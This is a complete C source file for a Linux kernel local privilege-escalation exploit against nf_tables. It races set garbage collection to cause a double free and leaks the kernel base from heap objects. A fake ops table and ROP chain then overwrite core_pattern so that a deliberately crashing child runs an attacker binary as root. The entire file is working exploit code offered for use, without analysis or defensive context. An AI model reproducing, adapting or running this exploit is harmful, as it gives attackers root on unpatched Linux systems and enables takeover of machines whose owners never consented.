#define _GNU_SOURCE
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <stddef.h>
#include <sched.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>

#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>

#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/sendfile.h>

#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>

#include <libmnl/libmnl.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/expr.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/object.h>

#include "tools.h"
#include "params.h"

const unsigned blocking_set_cnt = 200; // fixed counts
const unsigned module_load_cnt = 200; // only needs it to be big enough
unsigned gc_interval = 100;
unsigned setelem_timeout = 350;

char buffer[0x1000];
char user_buf[] = "|/proc/%P/fd/666";
size_t *leaked_data;
size_t kbase;
size_t fake_ops;

void wait_gc() {
  progress("wait for garbage collection");
  sleep(1);
  done();
}

struct nftnl_table *new_table(const char *name) {
  struct nftnl_table *t;

  t = nftnl_table_alloc();
  if (!t)
    error("new_table");

  nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
  nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);

  return t;
}

void add_dynset(struct nftnl_rule *r, const char *set) {
  struct nftnl_expr *e;
  e = nftnl_expr_alloc("dynset");
  if (!e)
    error("new_expr");

  nftnl_expr_set_str(e, NFTNL_EXPR_DYNSET_SET_NAME, set);
  nftnl_expr_set_u32(e, NFTNL_EXPR_DYNSET_OP, 0);
  nftnl_expr_set_u32(e, NFTNL_EXPR_DYNSET_SREG_KEY, NFT_REG32_00);
  nftnl_expr_set_u32(e, NFTNL_EXPR_DYNSET_SREG_DATA, NFT_REG32_00);
  nftnl_rule_add_expr(r, e);
}

struct nftnl_rule *new_rule(const char *table, const char *chain) {
  struct nftnl_rule *r = NULL;

  r = nftnl_rule_alloc();
  if (r == NULL) {
    perror("OOM");
    exit(EXIT_FAILURE);
  }

  nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
  nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
  nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);
  return r;
}

struct nftnl_obj *new_object(const char *table, const char *name) {
  struct nftnl_obj *t;

  t = nftnl_obj_alloc();
  if (!t)
    error("new_object");

  nftnl_obj_set_u32(t, NFTNL_OBJ_FAMILY, NFPROTO_IPV4);
  nftnl_obj_set_u32(t, NFTNL_OBJ_TYPE, NFT_OBJECT_CT_EXPECT);
  nftnl_obj_set_str(t, NFTNL_OBJ_TABLE, table);
  nftnl_obj_set_str(t, NFTNL_OBJ_NAME, name);
  nftnl_obj_set_u8(t, NFTNL_OBJ_CT_EXPECT_L4PROTO, IPPROTO_TCP);
  nftnl_obj_set_u8(t, NFTNL_OBJ_CT_EXPECT_SIZE, 0x41);
  nftnl_obj_set_u16(t, NFTNL_OBJ_CT_EXPECT_DPORT, 0x4141);
  nftnl_obj_set_u32(t, NFTNL_OBJ_CT_EXPECT_TIMEOUT, 0x41414141);

  return t;
}

void nftnl_obj_nlmsg_build_simple_payload(struct nlmsghdr *nlh,
    const char *table, const char *name, uint32_t type) {
  mnl_attr_put_strz(nlh, NFTA_OBJ_TABLE, table);
  mnl_attr_put_strz(nlh, NFTA_OBJ_NAME, name);
  mnl_attr_put_u32(nlh, NFTA_OBJ_TYPE, htonl(type));
  mnl_attr_put_strz(nlh, NFTA_OBJ_DATA, "DATA");
}

struct nftnl_set *new_hash_set(const char *table, const char *name) {
  struct nftnl_set *s = NULL;

  s = nftnl_set_alloc();
  if (!s)
    error("new_set");

  nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
  nftnl_set_set_u32(s, NFTNL_SET_FAMILY, NFPROTO_IPV4);
  nftnl_set_set_str(s, NFTNL_SET_NAME, name);
  nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint32_t));
  nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
  nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
  nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP | NFT_SET_ANONYMOUS);
  nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);
  nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);

  return s;
}

struct nftnl_set *new_rhash_set(const char *table, const char *name) {
  struct nftnl_set *s = NULL;

  s = nftnl_set_alloc();
  if (!s)
    error("new_set");

  nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
  nftnl_set_set_u32(s, NFTNL_SET_FAMILY, NFPROTO_IPV4);
  nftnl_set_set_str(s, NFTNL_SET_NAME, name);
  nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint32_t));
  nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
  nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
  nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP | NFT_SET_TIMEOUT);
  nftnl_set_set_u32(s, NFTNL_SET_GC_INTERVAL, gc_interval); // default: 0 (1s)
  nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);
  nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);

  return s;
}

struct nftnl_set_elem *new_setelem_key(int len, int key) {
  struct nftnl_set_elem *e;
  uint32_t flags = 0;

  e = nftnl_set_elem_alloc();
  if (!e)
    error("new_setelem");

  nftnl_set_elem_set_u32(e, NFTNL_SET_ELEM_KEY, key);
  nftnl_set_elem_set(e, NFTNL_SET_ELEM_DATA, buffer, 4); // use the same as SET_DATA_LEN
  nftnl_set_elem_set(e, NFTNL_SET_ELEM_USERDATA, buffer, len);
  nftnl_set_elem_set(e, NFTNL_SET_ELEM_FLAGS, &flags, sizeof(flags));

  return e;
}

struct nftnl_set_elem *new_setelem_timeout(int len, int timeout) {
  struct nftnl_set_elem *e;
  uint32_t flags = 0;

  e = nftnl_set_elem_alloc();
  if (!e)
    error("new_setelem");

  nftnl_set_elem_set_u64(e, NFTNL_SET_ELEM_TIMEOUT, timeout);
  nftnl_set_elem_set_u32(e, NFTNL_SET_ELEM_KEY, 0x4141);
  nftnl_set_elem_set(e, NFTNL_SET_ELEM_DATA, buffer, 4); // use the same as SET_DATA_LEN
  nftnl_set_elem_set(e, NFTNL_SET_ELEM_USERDATA, buffer, len);
  nftnl_set_elem_set(e, NFTNL_SET_ELEM_FLAGS, &flags, sizeof(flags));

  return e;
}

struct nftnl_chain *new_chain(const char *table, const char *name) {
  struct nftnl_chain *t;
  t = nftnl_chain_alloc();
  if (!t)
    error("new_chain");

  nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table);
  nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, name);

  return t;
}

int leak_object_cb(const struct nlmsghdr *nlh, void *data) {
  struct nftnl_table *t;
  struct nlattr *nla[NFTA_TABLE_MAX+1] = {};
  struct nlattr *attr;
  int len, attrlen;

  if (nlh->nlmsg_type == NLMSG_ERROR) {
    error_s("received NLMSG_ERROR message");
  }

  attr = (struct nlattr *)((char *)nlh + nlmsg_total_size(sizeof(struct nfgenmsg)));
  attrlen = nlh->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
  nla_parse(nla, NFTA_TABLE_MAX, attr, attrlen, NULL);

  if (!nla[NFTA_TABLE_USERDATA]) {
    error_s("not received userdata");
  }

  free(leaked_data);
  len = nla_len(nla[NFTA_TABLE_USERDATA]);
  leaked_data = malloc(len);

  nla_memcpy(leaked_data, nla[NFTA_TABLE_USERDATA], len);
  hexdump(leaked_data, 0x40);

  // sanity check (obj->ops)
  if (leaked_data[16] < 0xffffffff00000000UL) {
    error_s("object leak failed");
  }

  return MNL_CB_OK;
}

void recv_nft_reply(struct mnl_socket *nl) {
  char buf[MNL_SOCKET_BUFFER_SIZE];

  // filter error report
  while (true) {
    int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
    if (ret < 0) {
      error("mnl_socket_recvfrom");
    } else if (ret > 100) {
      uint32_t type = NFTNL_OUTPUT_DEFAULT;
      mnl_cb_run(buf, ret, seq, mnl_socket_get_portid(nl), leak_object_cb, &type);
      break;
    }
  }
}

void setup_block(struct mnl_socket *nl, const char *tablename, const char *chainname, const char *setname) {
  struct nftnl_set *set;
  struct nftnl_rule *rule;
  struct nftnl_obj *obj;
  struct nftnl_set_elem *setelem;
  struct nlmsghdr *nlh;
  struct mnl_nlmsg_batch *batch;
  int ret, key = 0x10000;

  // use anonymous set
  set = new_hash_set(tablename, setname);
  rule = new_rule(tablename, chainname);
  add_dynset(rule, setname);

  // maximum: 0x68000
  int bufsz = 0x68000;
  setsockopt(mnl_socket_get_fd(nl), SOL_SOCKET,
      SO_SNDBUF, &bufsz, sizeof(bufsz));

  char *reqbuf = malloc(bufsz);
  BATCH_BEGIN(batch, reqbuf, bufsz);

  // build blocking anonymous set
  NEW_SET(batch, nlh, set);

  /* create a bunch of (9500) setelem to delay */
  /* compress batch request to save some time */
  // total batch size should < 0x68000
  for (int i = 0; i < 19; ++i) {
    set = new_hash_set(tablename, setname);
    // single request size should < 0x10000
    for (int j = 0; j < 500; ++j) {
      setelem = new_setelem_key(1, key++);
      nftnl_set_elem_add(set, setelem);
    }

    NEW_SETELEM(batch, nlh, set);
    nftnl_set_free(set);
  }

  // build rule to ref anonymous set
  NEW_RULE(batch, nlh, rule);

  BATCH_END_SEND(batch, nl);

  free(reqbuf);
}

size_t exploit_vuln(struct mnl_socket *nl, const char *tablename) {
  char buf[MNL_SOCKET_BUFFER_SIZE];
  struct mnl_nlmsg_batch *batch;
  struct nftnl_obj *obj;
  struct nftnl_table *tables[2];
  struct nlmsghdr *nlh;
  int ret;

  info("build fake obj->ops");

  size_t *fake_ops = (size_t *)malloc(192);
  memset(fake_ops, 0x41, 192);

  // [0] for rop chain on fake obj to pop off return value
  fake_ops[0] = kbase + pop_rdi;
  fake_ops[4] = kbase + push_rsi_jmp_deref_rsi_0x39; // ops->dump
  fake_ops[6] = kbase + nft_ct_expect_obj_type; // ops->type

  BATCH_BEGIN(batch, buf, sizeof(buf));

  for (int i = 0; i < 2; ++i) {
    char name[0x20] = {0};
    sprintf(name, "tbl_%u", seq++);
    tables[i] = new_table(name);
    nftnl_table_set_data(tables[i], NFTNL_TABLE_USERDATA, buffer, 256);
    NEW_TABLE(batch, nlh, tables[i]);
  }

  // should <= 192 since atm there's only corrupted entry left
  obj = new_object(tablename, "leak_rop_obj");
  nftnl_obj_set_data(obj, NFTNL_OBJ_USERDATA, fake_ops, 192);
  NEW_OBJ(batch, nlh, obj);

  BATCH_END_SEND(batch, nl);

  nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETTABLE, NFPROTO_IPV4,
      NLM_F_ACK, seq); // do not update seq number here
  nftnl_table_nlmsg_build_payload(nlh, tables[0]);

  if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
    error("mnl_socket_sendto");
  }

  recv_nft_reply(nl);

  size_t *fake_obj = leaked_data;
  size_t fake_ops_addr = leaked_data[9];
  info("leak kheap: 0x%lx", fake_ops_addr);

  // deallocate object by freeing table
  info("deallocate object");

  BATCH_BEGIN(batch, buf, sizeof(buf));
    DEL_TABLE(batch, nlh, tables[0]);
  BATCH_END_SEND(batch, nl);
  wait_gc();

  info("build rop chain");

  // fake object (also use as rop chain)
  fake_obj[0] = kbase + add_rsp_0x50;
  fake_obj[11] = kbase + pop_rdi;
  fake_obj[12] = kbase + core_pattern;
  fake_obj[13] = kbase + pop_3;
  fake_obj[16] = fake_ops_addr; // obj->ops

  fake_obj[17] = kbase + pop_rsi;
  fake_obj[18] = (size_t)&user_buf;
  fake_obj[19] = kbase + pop_rdx;
  fake_obj[20] = sizeof(user_buf);
  fake_obj[21] = kbase + copy_from_user;
  fake_obj[22] = kbase + rcu_read_unlock;
  fake_obj[23] = kbase + pop_rdi;
  fake_obj[24] = 0x1000000000000;
  fake_obj[25] = kbase + delay_loop;
  *(size_t *)((char *)fake_obj + 0x39) = kbase + pop_rsp_ret; // stack pivot (object ptr is pushed by ops->dump)

  struct nftnl_table *table = new_table("pwn");
  nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, fake_obj, 256); // allocate to kmalloc-cg-256

  // write object data back
  BATCH_BEGIN(batch, buf, sizeof(buf));
    NEW_TABLE(batch, nlh, table);
  BATCH_END_SEND(batch, nl);

  // invoke obj->ops->dump
  info("invoke ops->dump");
  nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETOBJ, NFPROTO_IPV4,
      NLM_F_ACK, seq++);
  nftnl_obj_nlmsg_build_payload(nlh, obj);

  if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
    error("mnl_socket_send");
  }
}

void leak_kbase(struct mnl_socket *nl, const char *tablename) {
  char buf[MNL_SOCKET_BUFFER_SIZE];
  struct mnl_nlmsg_batch *batch;
  struct nftnl_table *table;
  struct nftnl_obj *obj;
  struct nftnl_set *set;
  struct nftnl_set_elem *setelem;
  struct nlmsghdr *nlh;
  int ret;

  memset(buffer, 0, 256);

  table = new_table("leak_tbl");
  // userdata allocate to kmalloc-cg-256, use to leak object data
  nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, buffer, 256);
  obj = new_object(tablename, "leak_obj");
  set = new_rhash_set(tablename, "pwn_set");
  // pre-saved setelem
  setelem = new_setelem_key(200, 0x41); // kmalloc-cg-256
  nftnl_set_elem_add(set, setelem);

  // [A, A] on the free list
  info("reclaim double freed memory");

  BATCH_BEGIN(batch, buf, sizeof(buf));
    NEW_TABLE(batch, nlh, table);
    NEW_OBJ(batch, nlh, obj);
  BATCH_END_SEND(batch, nl);

  nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETTABLE, NFPROTO_IPV4,
      NLM_F_ACK, seq); // do not update seq number here
  nftnl_table_nlmsg_build_payload(nlh, table);

  if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
    error("mnl_socket_sendto");
  }

  recv_nft_reply(nl);

  kbase = leaked_data[16] - nft_ct_expect_obj_ops;
  info("kernel base: 0x%lx", kbase);

  // reset double freed state
  info("reset double free state");
  BATCH_BEGIN(batch, buf, sizeof(buf));
    DEL_OBJ(batch, nlh, obj);
    // free saved elem to avoid double free
    DEL_SETELEM(batch, nlh, set);
    DEL_TABLE(batch, nlh, table);
  BATCH_END_SEND(batch, nl);

  // now freelist become [A, B, A]
  wait_gc();
}

size_t config_timing(struct mnl_socket *nl) {
  char buf[MNL_SOCKET_BUFFER_SIZE * 0x10];
  char tablename[] = "conf_table";
  char chainname[] = "conf_chain";
  struct timespec start, end;
  struct nftnl_table *table;
  struct nftnl_set *set;
  struct nftnl_chain *chain;
  struct nftnl_rule *rule;
  struct nftnl_set_elem *setelem, *setelem_bk;
  struct mnl_nlmsg_batch *batch;
  struct nlmsghdr *nlh;
  int ret;

  table = new_table(tablename);
  chain = new_chain(tablename, chainname);
  // empty rule only used to build DELRULE
  rule = new_rule(tablename, chainname);

  BATCH_BEGIN(batch, buf, sizeof(buf));
    NEW_TABLE(batch, nlh, table);
    NEW_CHAIN(batch, nlh, chain);
  BATCH_END_SEND(batch, nl);

  progress("allocating blocking set");
  for (int i = 0; i < blocking_set_cnt; ++i) {
    char setname[0x30] = {};
    snprintf(setname, sizeof(setname), "block%d", i);
    setup_block(nl, tablename, chainname, setname);
  }
  done();

  progress("approximate block time");
  clock_gettime(CLOCK_MONOTONIC_RAW, &start);

  BATCH_BEGIN(batch, buf, sizeof(buf));
    // free all rules under chain
    DEL_RULE(batch, nlh, rule);
    // del non-exist table to force abort
    DEL_TABLE(batch, nlh, new_table("nonexist"));
  BATCH_END_SEND(batch, nl);

  clock_gettime(CLOCK_MONOTONIC_RAW, &end);
  done();

  // the time elapsed after setelem was allocated
  double block_time =
    (end.tv_sec - start.tv_sec) * 1000 +
    (end.tv_nsec - start.tv_nsec) / 1000000.0;

  setelem_timeout = block_time / 2.0 * 1.5;
  gc_interval = block_time / 6.0;

  info("batch resolution took %.3lf ms", block_time);
  info("setup race parameters:\n"
       "  setelem timeout: %u ms\n"
       "  gc interval:     %u ms",
       setelem_timeout, gc_interval);
}

void trigger_vuln(struct mnl_socket *nl, const char *tablename) {
  // need more buffer here
  char buf[MNL_SOCKET_BUFFER_SIZE * 0x10];
  struct timespec start, end;
  struct nftnl_table *table;
  struct nftnl_set *set;
  struct nftnl_chain *chain;
  struct nftnl_rule *rule;
  struct nftnl_set_elem *setelem, *setelem_bk;
  struct mnl_nlmsg_batch *batch;
  struct nlmsghdr *nlh;
  int ret;

  info("setup initial state");

  table = new_table(tablename);
  set = new_rhash_set(tablename, "pwn_set");
  chain = new_chain(tablename, "pwn_chain");
  rule = new_rule(tablename, "pwn_chain");
  setelem = new_setelem_timeout(200, setelem_timeout); // kmalloc-cg-256
  setelem_bk = new_setelem_key(200, 0x41); // kmalloc-cg-256
  nftnl_set_elem_add(set, setelem_bk);

  BATCH_BEGIN(batch, buf, sizeof(buf));
    NEW_TABLE(batch, nlh, table);
    NEW_CHAIN(batch, nlh, chain);
    NEW_SET(batch, nlh, set);
  BATCH_END_SEND(batch, nl);

  progress("allocating blocking set");
  clock_gettime(CLOCK_MONOTONIC_RAW, &start);
  for (int i = 0; i < blocking_set_cnt; ++i) {
    char setname[0x30] = {};
    snprintf(setname, sizeof(setname), "block%d", i);
    setup_block(nl, tablename, "pwn_chain", setname);
  }
  clock_gettime(CLOCK_MONOTONIC_RAW, &end);
  done();

  // **Important**
  // rhash gc will not be scheduled during high CPU usage (maybe caused by scheduler?)
  // re-schedule main thread to a different CPU to avoid stopping gc thread from running
  //
  // Also a good news is since the freeing thread is using a different CPU,
  // the double free check will be bypassed!
  set_cpu(1);

  // setup backup setelem after we switch to cpu1 to use the same cache
  BATCH_BEGIN(batch, buf, sizeof(buf));
    NEW_SETELEM(batch, nlh, set);
  BATCH_END_SEND(batch, nl);

  nftnl_set_free(set);
  set = new_rhash_set(tablename, "pwn_set");
  nftnl_set_elem_add(set, setelem);

  // race windows:               (should be removed *after* gc put it into list)
  // |          N ticks          | remove setelem |                  |      (mutex unlock)      |
  // ....|---------------- __nf_tables_abort ------------------------|-- loop to load modules --| mutex relock
  //       |--- nft_rhash_gc -> queue trans_gc_work | nft_trans_gc_work -> nft_trans_gc_work_done -> call_rcu free setelem
  //       ^-- timer kicks in                                               (grab mutex lock & check gc_seq & remove setelem)
  progress("trigger double free");
  BATCH_BEGIN(batch, buf, sizeof(buf));

  // -EAGAIN will be instant handled, however it works a bit weird...
  // instead of delete the resolved module request in `nft_net->module_list`
  // `nf_tables_module_autoload()` it place it back, so the list will keep growing LOL
  for (int i = 0; i < module_load_cnt; ++i) {
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWOBJ, NFPROTO_IPV4,
        NLM_F_CREATE | NLM_F_EXCL,
        seq++);

    // NFTNL_OBJ_TYPE cannot be directly set, manually build it here
    nftnl_obj_nlmsg_build_simple_payload(nlh, tablename, "obj", i + 100);
    mnl_nlmsg_batch_next(batch);
  }

  // setelem timer count from here
  NEW_SETELEM(batch, nlh, set);

  // to block target setelem from being removed during abort phase
  // this will free all rules under pwn_chain
  DEL_RULE(batch, nlh, rule);

  // trigger abort autoload
  nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
      NFT_MSG_NEWOBJ, NFPROTO_IPV4,
      NLM_F_CREATE | NLM_F_EXCL,
      seq++);
  nftnl_obj_nlmsg_build_simple_payload(nlh, tablename, "obj", 6666);
  mnl_nlmsg_batch_next(batch);

  BATCH_END_SEND(batch, nl);
  success();

  wait_gc();
}

int setup_sandbox(void) {
  progress("setup user namespace");
  if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
    error("unshare");
  }
  done();
  return 0;
}

int check_core() {
  // Check if /proc/sys/kernel/core_pattern has been overwritten
  char buf[0x100] = {};
  int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
  read(core, buf, sizeof(buf));
  close(core);
  return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}

void crash() {
  int memfd = memfd_create("", 0);
  if (sendfile(memfd, open("root", 0), 0, 0xffffffff) == -1) {
    error("sendfile");
  }

  dup2(memfd, 666);
  close(memfd);
  while (check_core() == 0)
    sleep(1);

  *(size_t *)0 = 0;
}

int main(int argc, char *argv[]) {
  struct mnl_socket *nl;
  int msgq[0x20];

  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  if (fork() == 0) {
    set_cpu(0);
    strcpy(argv[0], "rabbit");
    while (1)
      sleep(1);
  }

  if (fork() == 0) {
    set_cpu(0);
    setsid();
    crash();
  }

  // after rhash set allocation,
  // main thread will eventually run on core 1
  info("pin cpu @ core 0");
  set_cpu(0);
  setup_sandbox();

  for (int i = 0; i < 0x20; ++i) {
    msgq[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
    if (msgq[i] < 0) {
      error("msgget");
    }
  }

  nl = mnl_socket_open(NETLINK_NETFILTER);
  if (!nl) {
    error("mnl_socket_open");
  }

  if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
    error("mnl_socket_bind");
  }

  // de-fragmentation
  for (int i = 0; i < 0x20; i++) {
    for (int j = 0; j < 60; j++) {
      msg_alloc(msgq[i], buffer, 200);
    }
  }

  info("====== setup stage ======");
  config_timing(nl);

  info("====== trigger stage ======");
  trigger_vuln(nl, "exp");

  info("====== leak stage ======");
  leak_kbase(nl, "exp");

  info("====== exploit stage ======");
  exploit_vuln(nl, "exp");

  error_s("exploit failed");
}
